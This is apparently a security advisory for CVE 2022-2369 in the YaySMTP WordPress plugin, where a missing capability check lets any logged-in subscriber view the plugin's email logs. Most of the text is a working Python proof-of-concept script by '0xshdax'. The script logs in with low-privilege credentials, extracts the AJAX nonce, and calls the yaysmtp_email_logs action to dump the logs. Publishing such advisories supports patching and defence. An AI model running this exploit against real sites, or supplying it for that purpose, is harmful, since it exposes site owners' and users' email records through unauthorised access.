YaySMTP < 2.2.1 – Subscriber+ Logs Disclosure | CVE 2022-2369

Description

The plugin does not have capability check in an AJAX action, allowing any logged in users, such as subscriber to view the Logs of the plugin

Proof of Concept

# @author : 0xshdax (Rafshanzani Suhada)
# @usage : python3 script.py http://localhost
import requests, sys, re, json

## Setup here
url = sys.argv[1]
headers = { 'Content-Type': 'application/x-www-form-urlencoded' }
username = 'guest'
password = 'guest'
regexnonce = r"\"ajaxNonce\":\"(.*?)(?:\",\"currentMailer\")"

##
def loginWP(username, password, url):
    global regexnonce

    session = requests.Session()
    cookies = { 'wordpress_test_cookie' : 'WP+Cookie+check' }
    data = { 'log' : username, 'pwd' : password, 'wp-submit' : 'Login', 'redirect_to' : url + '/wp-admin/', 'testcookie' : 1 }
    
    response = session.post(url + '/wp-login.php', cookies=cookies, data=data)
    responses = response.text
    findnonce = re.findall(regexnonce,responses)
    if not findnonce:
        print('[ * ] Nonce not found or invalid credentials. Please check again!')
        exit()
    else:
        print('[ * ] Success get nonce!')
        datalog = 'action=yaysmtp_email_logs&nonce=' + findnonce[0] + '&params[page]=1&params[limit]=10'
        getlogsmtp = session.post(url + '/wp-admin/admin-ajax.php', headers=headers, data=datalog)
        prettyjson = json.loads(getlogsmtp.text)
        print(json.dumps(prettyjson, indent=4))

print('[ * ] Trying to login user!')
getnonce = loginWP(username, password, url)